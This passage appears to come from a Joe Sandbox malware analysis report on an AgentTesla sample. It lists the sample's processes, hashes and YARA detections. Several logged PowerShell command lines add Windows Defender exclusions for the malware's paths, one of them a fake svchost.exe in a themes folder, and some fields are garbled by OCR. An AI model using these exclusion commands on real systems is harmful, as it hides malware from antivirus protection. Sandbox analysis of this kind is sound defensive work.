Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: qweruiuyt.exe PID: 2676 Parent PID: 1388

General

Start time: 12:05:37

Start date: 16/06/2021

Path: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe’
Imagebase: 0x2c0000

File size: 144168 bytes

MD5 hash: F72277EEBAF6B7E2891B7BA24188EBDA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: qweruiuyt.exe PID: 2032 Parent PID: 1388

General

Start time: 12:05:51

Start date: 16/06/2021

Path: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe’
Imagebase: 0x2c0000

File size: 144168 bytes

MD5 hash: F72277EEBAF6B7E2891B7BA24188EBDA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: WerFault.exe PID: 2852 Parent PID: 2176

Copyright Joe Security LLC 2021 Page 58 of 63



General

Start time: 12:05:58

Start date: 16/06/2021

Path: C:\Windows\SysWOWe64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1132
Imagebase: 0x90000

File size: 360448 bytes

MDS5 hash: 5FEAB868CAEDBBD1B7A145CA8261E4AA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: powershell.exe PID: 2732 Parent PID: 1492

General

Start time: 12:06:09

Start date: 16/06/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

Imagebase: 0x22840000

File size: 452608 bytes

MD5 hash: 92F44E405DB16AC55D97E3BFE3B132FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Net C# or VB.NET

Analysis Process: powershell.exe PID: 2736 Parent PID: 1492

General

Start time: 12:06:10

Start date: 16/06/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shel\52V57U7\svchost.exe’ -Force

Imagebase: 0x22840000

File size: 452608 bytes

MDS5 hash: 92F44E405DB16AC55D97E3BFE3B132FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: powershell.exe PID: 2564 Parent PID: 1492

General

Start time: 12:06:11

Start date: 16/06/2021

Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

Imagebase: 0x22840000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Analysis Process: powershell.exe PID: 2544 Parent PID: 1492

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:13

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe’ -Force

0x22840000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

Net C# or VB.NET

Analysis Process: powershell.exe PID: 2832 Parent PID: 2676

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:19

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force

0x22840000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Analysis Process: powershell.exe PID: 1900 Parent PID: 2676

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:20

16/06/2021
C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force

0x22840000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

i
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Analysis Process: powershell.exe PID: 1192 Parent PID: 2676

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:21

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force

0x22840000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Analysis Process: powershell.exe PID: 2748 Parent PID: 2676

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:22

16/06/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe’ -Force

0x22840000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

Analysis Process: svchost.exe PID: 2612 Parent PID: 1492

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:26

16/06/2021
C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
true
C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe
0x1300000

144168 bytes

F72277EEBAF6B7E2891B7BA24188EBDA

true

true

.Net C# or VB.NET

Analysis Process: svchost.exe PID: 1904 Parent PID: 428

General

Start time:

Start date:

Path:

Wow64 process (32bit):
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12:06:32
16/06/2021
C:\Windows\System32\svchost.exe

false
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

C:\Windows\system32\svchost.exe -k LocalService
0xff0e0000

27136 bytes
C78655BC80301D76ED4FEF1C1EA40A7D

true

false

C, C++ or other language

Analysis Process: qweruiuyt.exe PID: 1852 Parent PID: 2676

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:06:34

16/06/2021
C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
false
C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
0x2c0000

144168 bytes

F72277EEBAF6B7E2891B7BA24188EBDA

true

true

C, C++ or other language

Analysis Process: qweruiuyt.exe PID: 2500 Parent PID: 2676

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

12:06:35

16/06/2021
C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
true
C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe
0x2c0000

144168 bytes

F72277EEBAF6B7E2891B7BA24188EBDA

true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: svchost.exe PID: 1480 Parent PID: 428

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Copyright Joe Security LLC 2021

12:06:35

16/06/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\system32\svchost.exe -k LocalService
0xff0e0000

27136 bytes
C78655BC80301D76ED4FEF1C1EA40A7D

true

Page 62 of 63




Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 652 Parent PID: 428

General

Start time: 12:06:38

Start date: 16/06/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\svchost.exe -k DcomLaunch
Imagebase: 0xff660000

File size: 27136 bytes

MD5 hash: C78655BC80301D76EDAFEF1C1EA40A7D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 32.0.0 Black Diamond
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